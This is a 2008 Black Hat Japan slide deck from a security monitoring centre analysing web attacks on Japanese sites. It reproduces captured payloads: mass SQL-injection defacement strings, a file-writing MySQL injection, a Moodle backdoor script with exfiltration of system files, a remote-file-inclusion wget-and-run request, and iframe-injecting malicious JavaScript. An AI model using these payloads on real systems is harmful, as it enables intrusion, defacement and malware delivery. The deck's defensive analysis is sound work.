Black Hat Japan 2008 Briefings
Oct., 2008

日本に迫る脅威〜SOCからみた景色〜
川口 洋, CISSP
株式会社ラック
JSOC チーフエバンジェリスト
セキュリティアナリスト

hiroshi.kawaguchi @ lac.co.jp

アジェンダ自己紹介
日本に迫る脅威
能動的攻撃
受動的攻撃
マルウェア
今後の課題
2

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

自己紹介川口 洋（かわぐち ひろし）,CISSP
JSOC チーフエバンジェリスト 兼 セキュリティアナリスト
ISOG-J 技術WG リーダ
http://www.lachd.co.jp/job/fresh/index5̲2.html
2002年 ラック入社
社内インフラシステムの維持、運用に従事する。その他、セキュアサーバの構築サービス
や、サーバのセキュリティ検査業務なども行い、経験を積む。その後、IDS や Firewall な
どの運用・管理業務を経て、セキュリティアナリストとして、JSOC監視サービスに従事し、日々セキュリティインシデントに対応。
2005年より、アナリストリーダとして、セキュリティイベントの分析とともに、IDS/IPSに適用するJSOCオリジナルシグネチャ(JSIG)の作成、チューニングを実施し、監視サービスの技
術面のコントロールを行う。
現在、JSOC CTOを経て、JSOCチーフエバンジェリストとして、JSOC全体の技術面をコントロールし、ITインフラへのリスクに関する情報提供、啓発活動を行っている。
PacSec、InternetWeek、PASSJなどのテクニカルカンファレンスや情報セキュリティシンポ
ジウムなどで講演し、安全なITネットワークの実現を目指して日夜奮闘中。

川口洋のセキュリティ・プライベート・アイズ（＠IT）連載中
http://www.atmarkit.co.jp/fsecurity/index/index̲kawaguchi.html
3

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

JSOCの特徴

 足掛け7年にわたる、セキュリティ監視サービスの継続実績
 24時間365日、年中無休の監視・運用サービス
 専門のセキュリティアナリストによる高度な情報分析 アナリスト・エンジニア総勢60名以上での運用体制
 監視センサー数は約760、1日の処理ログ量は2億件以上
 契約顧客は約350社（2008年4月時点、契約中）
 主要ベンダーのセキュリティ監視デバイスにマルチ対応※※ Firewall

3種、IDS 4種、IPS

FW
Check Point Firewall-1/VPN-1
Juniper NetScreen
Cisco PIX/ASA Series

3種

IDS

IPS

McAfee Network Security Platform(旧名称 IntruShield)
IBM ISS RealSecure Network
Sensor/Proventia Series
Cisco IDS

McAfee Network Security Platform(旧名称 IntruShield)
IBM ISS Proventia Series
Cisco IPS/ASA Series

Enterasys Dragon Network Sensor
4

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

日本に迫る脅威

5

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Threat Gallery of Japanese Landscape
能動的攻撃

お金、情報

受動的攻撃

マルウェア
6

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

時代の動きウェブベースのサービスが主流に利用人口も着々と増加中
脅威がウェブベースに集中

JSOCデータ

総務省「通信利用動向調査 」

重要インシデントの対象サービス

http://www.johotsusintokei.soumu.go.jp/statistics/data/050510̲1.pdf

7

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

能動的攻撃8

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

能動的攻撃SQLインジェクションMSSQL以外を狙ったSQLインジェクション
Moodleを狙った攻撃
XSS
Remote File Inclusion

9

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

SQLインジェクション検知傾向
2008年8月は174996件
ボットによる攻撃
大量の攻撃にまぎれて他の攻撃もさらにツールが進化
水面下で売買検索エンジンの悪用
ツールによる攻撃が激化
JSOCから注意喚起を配信

2004年、JSOC初のSQLインジェクションを検知するJSIGを追加

SQLインジェクションによる改ざん・情報漏えい事件

JSOCで検知したSQLインジェクションの件数
10

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

SQLインジェクションの目的の変化■システムへの侵入（〜2004年）
・サーバへの侵入が目的
・攻撃の数は少なかった
・攻撃ツールも少ない■情報の搾取（2005年〜）
・エラー出力から情報搾取が目的
・データベースに格納されている情報が目的
・攻撃ツールが出回っている■情報の改ざん（2007年〜）
・データベースの中身を書き換える
・不正なリンクを埋め込み、クライアントを別サイトに誘導・誘導されたクライアントに受動的攻撃
・クライアントへの攻撃が目的
11

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

昔のSQLインジェクション
狙いはサーバへの侵入
MS SQL Serverのストアドプロシージャを悪用(xp̲cmdshell)
初めて検知したのは2003年11月頃

12

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

DBの中身が丸ごとコピーされる
攻撃者のサーバ

攻撃者

SQLインジェクション
②接続
データをコピー③気づいていない

ウェブサーバ

データベース①外部のサーバに接続する命令
HTTP or OSQLコマンドなど①ウェブアプリケーションの欠陥を悪用されている②FWでのアクセス制御がされていない③サービスに影響がないため気づかない
13

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

情報搾取のパターンへ変化（2005年）
データベース中のデータを根こそぎ取得するため、１ク
エリ/１リクエストを連続実行。
１クエリに１行のデータ（結果）が含まれる。
意図的にデータベース上（この事例ではSQL Server）
で型変換エラー（ODBCエラー）を起こさせるように組み立てられたSQL文となっている。

2007-12-10 01:34:55 10.0.0.60 - 10.0.0.62 80
GET /answer.asp?Keyword=10’
or%201=convert(int,(select%20@@version%2b'/'%2b@@servername))—¦24¦80040e07¦[Microsoft][ODBC̲SQL̲Server̲Driver][SQL̲Server]構文エラー。nvarchar̲値̲ʻ
Microsoft̲SQL̲Server̲̲2000̲-̲8.00.760̲(Intel̲X86)̲̲+Dec̲17̲2002̲14:22:05̲̲+Copyright̲(c)̲1988-2003̲Microsoft̲Corporation̲+
Desktop̲Engine̲on̲Windows̲NT̲5.0̲(Build̲2195:̲Service̲Pack̲4)̲/WIN2K-TESTʼ̲から̲int̲データ型に変換できませんでした。 500 Mozilla/5.0
14

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

データベースの改ざん
攻撃者

主にIIS+MS SQL上で作られた
ウェブアプリケーションの欠陥が狙われる

公開ウェブサーバ

一般のユーザSQLインジェクションによってリンクを張られたサーバに誘導

SQLインジェクション
ホームページを改ざんし、外部へのリンクを挿入
転送

IDS/IPSで検知できない
ように細工された
攻撃リクエスト

悪意のあるサーバ

気づかないうちに誘導される

不正なプログラムが置かれているサーバ達
15

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

2007年11月〜12月
2007年11月
中国のIPアドレスから攻撃（From 中国）• 転送先：http://yl18.net/• 世界4万サイトが改ざん（ニュースサイトより）• JSIG（当社が開発しているオリジナルシグネチャ） のみで検知•

2007年12月
再び攻撃開始（From 中国）• 転送先：http://rnmb.net/• 攻撃の手法が全く同じ• JSIGでの検知•

16

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃リクエスト
POST /index.asp?a=%82%A4';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500
43004C00410052004500200040005400200076006100720063006800610072002800320035003500
29002C00400043002000760061007200630068006100720028003200350035002900200044004500
43004C0041005200450020005400610062006C0065005F0043007500720073006F00720020004300
5500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E00
61006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F00
62006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000
6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E00
6400200061002E00780074007900700065003D00270075002700200061006E006400200028006200
2E00780074007900700065003D003900390020006F007200200062002E0078007400790070006500
3D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F00
7200200062002E00780074007900700065003D00310036003700290020004F00500045004E002000
5400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E00
4500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C004000430020005700480049004C0045002800
40004000460045005400430048005F005300540041005400550053003D0030002900200042004500
470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00
400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D007200
7400720069006D00280063006F006E00760065007200740028007600610072006300680061007200
2C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000
740020007300720063003D0068007400740070003A002F002F007700770077002E00320031003100
37003900360036002E006E00650074002F006600750063006B006A00700030002E006A0073003E00
3C002F007300630072006900700074003E0027002700270029004600450054004300480020004E00
4500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300
6F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C00
4F005300450020005400610062006C0065005F0043007500720073006F0072002000440045004100
4C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- HTTP/1.0
Connection: keep-alive
Content-Type: text/html
Content-Length: 0
Host: xxxxxxxxxxxxxxxxxxx.jp
Accept: text/html, */*User-Agent: Mozilla/3.0 (compatible; Indy Library)

17

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

SQL文DECLARE @T varchar(255),@C varchar(255)
DECLARE Table̲Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231
or b.xtype=167)
OPEN Table̲Cursor FETCH NEXT FROM Table̲Cursor
INTO @T,@C WHILE(@@FETCH̲STATUS=0)
BEGIN exec('update ['+@T+'] set['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.2117966.net/fuckjp0.js></script>''')
FETCH NEXT FROM Table̲Cursor INTO @T,@C
END CLOSE Table̲Cursor DEALLOCATE Table̲Cursor
URLをホームページに挿入する
文字列型のテーブル全部にURLを入れていく
2007年：ntextのみ
2008年：varchar, sysname, text, ntext が対象
18

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃手法の変化 5月
hoge.asp;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe̲cursoR%2
0cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20
b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%2
0oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe̲cursoR%20fEtCh%20next%20Fr
Om%20tAbLe̲cursoR%20iNtO%20@t,@c%20while(@@fEtCh̲status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C
2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E
6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%2
0tAbLe̲cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe̲cursoR%20dEAlLoCaTe%20tAbLe̲
cursoR;-- HTTP/1.1

hoge.asp;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe̲cursoR cUrSoR FoR
sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u'
AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe̲cursoR
fEtCh next FrOm tAbLe̲cursoR iNtO @t,@c while(@@fEtCh̲status=0) bEgIn exec('UpDaTe['+@t+'] sEt['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C73637269707420
7372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D
2D aS vArChAr(67))') fEtCh next FrOm tAbLe̲cursoR iNtO @t,@c eNd cLoSe tAbLe̲cursoRdEAlLoCaTe tAbLe̲cursoR;-- HTTP/1.1"></title><script src=http://s.see9.us/s.js></script><!-19

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

挿入先カラムのチェック
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table̲Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id anda.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table̲Cursor FETCH NEXT FROM Table̲Cursor INTO @T,@C
WHILE(@@FETCH̲STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--''')FETCH
NEXT FROM Table̲Cursor INTO @T,@C END CLOSE Table̲Cursor DEALLOCATE
Table̲Cursor

挿入先のテーブルをチェック
すでに同じURLがあれば、改ざんしない

20

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

マルチバイト文字を含むリクエスト

ラック サイバーリスク総合研究所レポート
http://www.lac.co.jp/info/rrics̲report/

リクエストにマルチバイト文字が含まれる
マルチバイト語圏で作成された可能性が高い
21

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

6月19日に何があったのか？
■2008年6月のSQLインジェクション検知傾向

22

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃元の分布

ラック：脅威は世界中からやってくる
http://www.lac.co.jp/info/attacks-now.html
http://www.lac.co.jp/info/img/200805attacks-map.gif
http://www.lac.co.jp/info/img/200806attacks-map.gif
http://www.lac.co.jp/info/img/200807attacks-map.gif
http://www.lac.co.jp/info/img/200808attacks-map.gif
23

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

誘導先URLの遷移

2008/3

2008/4

2008/5

2008/6

2008/7

2008/8

JSOCの検知傾向
SQLインジェクションで埋め込まれるURL
24

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

広告サーバの改ざん問題が発生すると
ビジネスがなくなる可能性あり

広告サイト
改ざん

広告データのためにアクセス攻撃も含む汚染された広告データを送信

ポータルサイトB

ポータルサイトA

攻撃

攻撃を、被害を受けていないがユーザからは疑われる

ユーザ

攻撃者

ポータルサイトへの攻撃がそのまま広告サイトに行われる広告サイトのIDS/IPSではアラートが上がるが、遮断できない
25

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

翻訳サイトの悪用
攻撃者
お客様サイト

翻訳フォームに下記を入力
http://www.example.com/<script>alert('xss')</script>

翻訳のためにそのままデータを転送
http://www.example.com/<script>alert('xss')</script>

翻訳サイト

翻訳サイトを経由して攻撃を行う
ウェブサーバでアクセス制御を行いにくい
26

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

検索エンジンの悪用①攻撃者(ブログを開設)
http://www.example.com/<script>alert('xss')</script>

対象サイトへのリンクを用意②検索エンジンがクローリング③http://www.example.com/<script>alert('xss')</script>

へのリンクを発見④リンクをたどってアクセス
http://www.example.com/<script>alert('xss')</script>

結果として攻撃が行われる
検索エンジン

自分のブログに攻撃リンクを用意し、検索エンジンから攻撃させる
検索エンジンはリンクの意図は確認せずにアクセスする27

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

MS SQL以外を狙ったインジェクション

28

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

MySQLへの攻撃
攻撃

2.SQLクエリ発行
1.SQLインジェクショ ン
3.ファイルの書き出しによるWeb改ざん
WebサーバMySQLサーバ

攻撃者

攻撃の成否確認

応答：○攻撃成功&ファイル削除

該当ファイルへの○攻撃成功&ファイル削除失敗

アクセス

○攻撃失敗
攻撃者

Webサーバ29のいずれかになる

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃内容
GET /index.php?id=1111%20union%20select%200x6A7573745F615F746573745F315F305F305F64617
3685F305F3C3F706870206563686F286D643528226A7573745F615F746573742229293B6563686
F2840756E6C696E6B28222F7661722F7777772F68746D6C2F6A6174657374332E7068702229203
F2022756E222E226C696E6B656422203A20226E6F745F756E222E226C696E6B656422293F3E %20
into%20outfile%20'/var/www/html/jatest3.php'--&page=1
変換

GET /index.php?id=1111 union select 0x6A7573745F615F746573745F315F305F305F646
173685F305F3C3F706870206563686F286D643528226A7573745F615F74657374222
9293B6563686F2840756E6C696E6B28222F7661722F7777772F68746D6C2F6A61746
57374332E7068702229203F2022756E222E226C696E6B656422203A20226E6F745F7
56E222E226C696E6B656422293F3E into outfile '/var/www/html/jatest3.php'--&page=1
変換just̲a̲test̲1̲0̲0̲dash̲0̲<?php echo(md5("just̲a̲test"));echo(@unlink("/var/www/html/jatest3.php") ? "un"."linked" : "not̲un"."linked")?>
作成したファイルへのアクセス

削除成功時のメッセージc6db3524fe71d6c576098805a07e79e4unlinked
削除失敗時のメッセージc6db3524fe71d6c576098805a07e79e4not̲unlinked
ファイルのフルパスが必要
30

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃対象の選定
検索エンジン• Warning: Invalid argument supplied for foreach()• Warning: mysql̲numrows(): supplied argument is not a valid

MySQL result resource

スクリプトファイルのフルパスがエラー情報に含まれる

31

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Moodleを狙った攻撃

32

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

MoodleとはMoodleはインターネット上で授業用のWebページを作るためのソフト
脆弱なバージョン：1.8.4 以前
脆弱性情報公開：2008/9/3
攻撃コードのリリース：2008/9/3

33

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃１：バックドアファイルの送信■バックドアファイルを送信（一部）#!/usr/bin/perl##
use LWP;
my $webdir = shift;
my $weburl = shift;system("rm -rf /var/tmp/t01.kz");
my $ourcode = " < ?php if(\$̲REQUEST['p']&& md5(\$̲REQUEST['p'])== \"826a7942ce2f6711d7eac81173f02d1a\") { eval(base64̲decode(\$̲REQUEST['e'])); } ? > ";my @tmp̲c;@tmp̲c = ̀whoamì;
chomp(@tmp̲c);
my $whoami = $tmp̲c[0];$weburl =˜ /^http:\/\/([\w\.\-]+)(:\d+)?\/?/;
my $hname = $1;$hname = "$hname" . "̲$whoami." . int(rand(1000000) + 100000);open(INFO," > /var/tmp/tmpinfo.kz");
34

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃２：送信データ内容
POST /moodle/backdoor.php HTTP/1.1-----------------------------Content-Disposition: form-data; name="cmd"echo12345;passthru(chr(108).chr(115).chr(32).chr(47).chr(118).chr(97).chr(114).chr(47).chr(116).chr(109).chr(112).chr(47).chr(116).chr(48).chr(49).chr(46).chr(107).chr(122)); echo 12345; exit;------------------------------

攻撃通信部分HTTP/1.1 200 OK
Date: Fri, 05 Sep 2008 01:20:30 GMT
Server: Apache/2.0.55 PHP/5.1.2
12345/var/tmp/t01.kz
12345

デコード

応答部分
35

echo 12345
ls /var/tmp/t01.kz
echo 12345
exit

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃２‐２：送信データ内容（デコード部分のみ）
echo 12345;passthru(ls /var/tmp/t01.kz); echo 12345; exit;-----------------------------echo 12345;passthru(perl /var/tmp/t01.kz /var/www/htdocs/ http://www.example.jp; rm -rf/var/tmp/*.kz); echo 12345; exit;-----------------------------echo 12345;passthru(uname -a); echo 12345; exit;-----------------------------echo 12345;passthru(cat /var/tmp/.vi098); echo 12345; exit;-----------------------------echo 12345;passthru(rm -rf /var/tmp/.vi098); echo 12345; exit;------------------------------

36

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃３：内部データの漏洩
攻撃者

攻撃対象サーバ

print INFO "= : INFORMATION : =\n";system("uname -a");log̲command("uname -a");log̲command("whoami");log̲command("id");log̲command("pwd");
system("uptime");log̲command("uptime");log̲command("w");print INFO "\n\n= : GOOD INFO : =\n\n";log̲command("cat /etc/passwd");log̲command("/sbin/ifconfig");log̲command("cat /etc/hosts");log̲command("cat /etc/ssh/ssh̲config");log̲command("netstat -an");log̲command("last -20");log̲command("ps aux");
print INFO "\n\n= : INFECTION : =\n";

外部サーバ= : INFORMATION : =+ + + + command˜$ uname –aLinux example.jp 2.6.9-34smp #1 SMP Thu Jun 8 01:51:25 EDT 2006 i386
GNU/Linux+ + + + command˜$ whoami
nobody+ + + + command˜$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)+ + + + command˜$ pwd/var/www/htdocs/moodle/blocks/rss̲client+ + + + command˜$ uptime
11:11:11 up 18 days, 16:14, 0 users, load average: 0.01, 0.83, 0.49
+ + + + command˜$ w
11:11:12 up 18 days, 16:14, 0 users, load average: 0.01, 0.83, 0.49
= : GOOD INFO : =+ + + + command˜$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin

37

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Moodle Links

38

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

その他の傾向

39

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

XSSのトレンド
送信元は国内が中心• セキュリティ診断• 興味本位のユーザ

今のところはお金になる簡易な方法がないため、大規模には行われていない

予告.in
http://yokoku.in/
XSSの脆弱性が存在し、犯行予告に悪用された

JSOCデータ：
2008年１月〜8月の攻撃元の国別分類
40

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

User-AgentにXSS
下記のリクエスト
GET /index.html HTTP/1.1
Referer: http://adultsite/
User-Agent: <SCRIPT> window.location=' http:// adultsite / ' </script>
Host: www.lac.co.jp

ログ解析ツール(analog, awstatsなど)やウェブサーバの管理ツールにXSSの脆弱性があると、アダルトサイトに誘導される
引っかかったユーザは一般ユーザより上級の権限を持っている
可能性アリ

41

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

ブラックリスト方式の弊害
リクエスト
index.cgi?id<script>alert('xss')</script>

レスポンス
このURLは処理できません。
index.cgi?id alert('xss')

一応失敗してるでも、どこかおかしい
気がする？

リクエスト
index.cgi?id<scr<script>ipt>alert('xss')</scr</script>ipt>

レスポンス
このURLは処理できません。
index.cgi?id<script>alert('xss')</script>
42

発動
Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Remote File Inclusion
パッケージ系ウェブアプリケーションの脆弱性を狙った攻撃をボット・ワームが行う
TWiki
Xoops
ウェブサーバ
phpBB
AWStats
脆弱性を悪用した攻撃
ファイルの取得要求

攻撃者

脆弱性を悪用した攻撃
ファイルの実行命令

ウェブアプリケーション

GET /admin̲styles.php?phpbb̲root̲path=http://10.10.10.10/cmd.gif?&cmd=cd%20/tmp;
wget%2010.10.10.10/cmd;chmod%20744%20cmd;./cmd;echo%20YYY;echo¦ HTTP/1.0

43

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

ウェブアプリを狙うボットの傾向

JSOC検知傾向
ウェブアプリケーションを狙うボットの検知件数
44

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

受動的攻撃45

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

誘導

SQLインジェクションDNSキャッシュ
ポイズニング

ARPポイズニング

ウェブサイトブログ

受動的攻撃のページ

46

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

受動的攻撃iframe
攻撃コード
JavaScript & 難読化
拡張子の偽造
頻繁に変わるページの構成
ユーザ追跡

47

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

iframeタグの利用
iframe混入
document.write('<iframe src=http://www.yl18.net/0.html
width="0" height="0" scrolling="no“
frameborder="0"></iframe>');document.write('<iframe src=http://yl18.net/1.html
width="0" height="0" scrolling="no“
frameborder="0"></iframe>');0.htmlと、1.htmlを幅0,高さ0のiframeにより取得しようと試みる

48

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃コードブラウザ
Internet Explorer• Firefox
•

プラグイン
•

Flash Player

動画プレーヤーReal Player• QuickTime•

ビューワー
Adobe Reader• MS Office• 一太郎• Windows GDI• Shapshot Viewer•

SNS Advisory Report
2008/4 - 2008/6
発見された脆弱性の分類
http://www.lac.co.jp/info/snsdb̲advisory/

アーカイバ
Lhaplus• Lhaz•49

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

fuckjp.js
var Njp="FUCKJP";
var Xw=document.cookie.match(new RegExp("(^¦ )"+Njp+"=([^;]*)(;¦$)"));
if(Xw != "C"){window.document.writeln("<iframe width=1 height=1
src=\"http://www.2117966.net/q.htm\"></iframe>");var exp=new Date();exp.setTime(exp.getTime()+1*60*1000);
window.document.cookie=Njp+"="+escape("C")+";expires="+exp.toGMTString();}
document.writeln("<script language=\"javascript\"
src=\"http:\/\/count45.51yes.com\/click.aspx?id=453373050&logo=1\"><\/script>");

www.2117966.net•

125.46.105.224

count45.51yes.com -> ユーザ追跡サイト•

222.173.188.9
50

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

fuckjp0.js
var Njp="FUCKJP";
var Xw=document.cookie.match(new RegExp("(^¦ )"+Njp+"=([^;]*)(;¦$)"));
if(Xw != "C"){window.document.writeln("<iframe width=1 height=1
src=\"http://www.hanjapass.com/sian/intro/jp/jp.htm\"></iframe>");var exp=new Date();exp.setTime(exp.getTime()+1*60*1000);
window.document.cookie=Njp+"="+escape("C")+";expires="+exp.toGMTString();}
document.writeln("<SCRIPT language=JavaScript
src=\"http:\/\/s16.cnzz.com\/stat.php?id=808572&amp;web̲id=808572\"
charset=gb2312><\/SCRIPT>");s16.cnzz.com•

MDAC(MS06-014)とRealPlayerの脆弱性を狙ったコード222.77.187.116

www.hanjapass.com•

118.128.14.172
51

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

中国製攻撃ツール
サポート連絡先

会員認証
オプション
仕込むURL

攻撃対象の脆弱性

ファイル形式ツールで作成した罠サイトへ標的を誘導する
頻繁にアップデートされており、最新の脆弱性に対応している52

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

攻撃ツール作者のアピール

53

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

ユーザサポート6,000円／一ヶ月

1元≒15円

15,000円／二ヶ月
30,000円／四ヶ月
45,000円／半年
日本円でも安くはない。
製作者には非常に大きな儲けになっている。

54

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

JavaScript と難読化

55

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

JavaScript と難読化(デコード後)

56

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

jp.htm (cat , more , less and notepad)

57

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

jp.htm (lv -> copy -> replace)<8A> = Line Tabulation Set (VTS)58

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

難読化と拡張子の偽装
http://user1.date-13.net/ms06014.js

Spider Monkey で解読
http://www.mozilla-japan.org/js/spidermonkey/

hex decode59

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

2007年12月11日 JST
rnmb.net (www.rnmb.net)
Start

/0.js
JavaScript/0.htmliframec52.cnzz.com

JavaScript/stat.php
目的：ユーザ追跡/1.htmwww.axgzba2.com/x/mf1.htm
MDACの脆弱性/x/1.exe/x/mf.htm/x/one.htm

アニメーション
カーソルの脆弱性
60/x/ani.htm

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

2007年12月13日 JST
down.llsging.com

rnmb.net (www.rnmb.net)
Start

/0.js

/0.html/bb/bd.cab/2.exe/0/new232.html/0/sq444.html/1.htm/014.htm/046.htm/r.htm/0/wm.html

aa.llsging.com/aa/gege.htm？
/1.exejs.users.51.la

cc.wzxyq.com
Script/0/wm.html
iframeOverflow/aa/11.js/aa/bb.js？
/aa/ppp.js/aa/bf.htm/aa/nini.htm/1299644.js/yyfb.htm/pps.htm/lz.htm/cx.htm/xunlei5.htm/yahoo.htm/IENoRun.htm/xunlei.htm/07004.htm/0733.htm/baidu.htm

目的：ユーザ追跡cc.wzxyq.com/sq/sq444.htm？

c52.cnzz.com/stat.php

目的：ユーザ追跡u.hmhk.org/myfile/wzfy/xiazaizhe/myself.exe

61

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

2007年12月14日 JST
rnmb.net (www.rnmb.net)
Start

/0.js
JavaScript/0.htmlc52.cnzz.com

JavaScript

62/stat.php
目的：ユーザ追跡

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

2007年12月15日 JST
rnmb.net (www.rnmb.net)
c52.cnzz.com
Start

/0.js
JavaScript/0.htmliframeJavaScript/stat.php
目的：ユーザ追跡/1.htmwww.axgzba2.com/x/mf1.htm
MDACの脆弱性/x/1.exe/x/mf.htm/x/one.htm

アニメーション
カーソルの脆弱性
63/x/ani.htm

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

過去との繋がり2007/12

2007/11
0.htmlA

1.html

0.html2008/3
1.htmlH

fuckjp0.js

L

jp.htm

B

C

B'

I

B”

M

D

E

D'

J

N

D”

F

G

F'

K

64

O

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

Fast Flux
IPアドレス
30 - 50 IPs

埋め込みリンク
30 - 50 URLs
iframeリンク先
5 - 10 URLs

192.168.0.1
192.168.22.33
192.168.66.77
192.168.88.99
・・・

http://1.example.com/1,js
http://2.example.com/2.js
http://3.example.com/3.js
http://4.example.com/4.js
・・・
65

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

ユーザの追跡
無料サービス（中国語）• http://countxx.51yes.com/click.aspx?id=xxxxx&logo=1• http://sxxx.cnzz.com/stst.phpid=xxxxx&web̲id=xxxxx• http://js.users.51.la/xxxxxxx.js

66

Copyright ©2008©2008 Little eArth Corporation Co.,Ltd.

ブラウザの環境を判別
if(navigator.userAgent.indexOf('AntivirXP08')==-1){
document.write("<iframe src=http://19ssl.net/cgi-bin/index.cgi?script
width=0 height=0 frameborder=0></iframe>");}User-Agentに AntivirXP08 が含まれる時-> iframeリンクを読み込まない
User-Agentに AntivirXP08 が含まれない時-> iframeリンクを読む
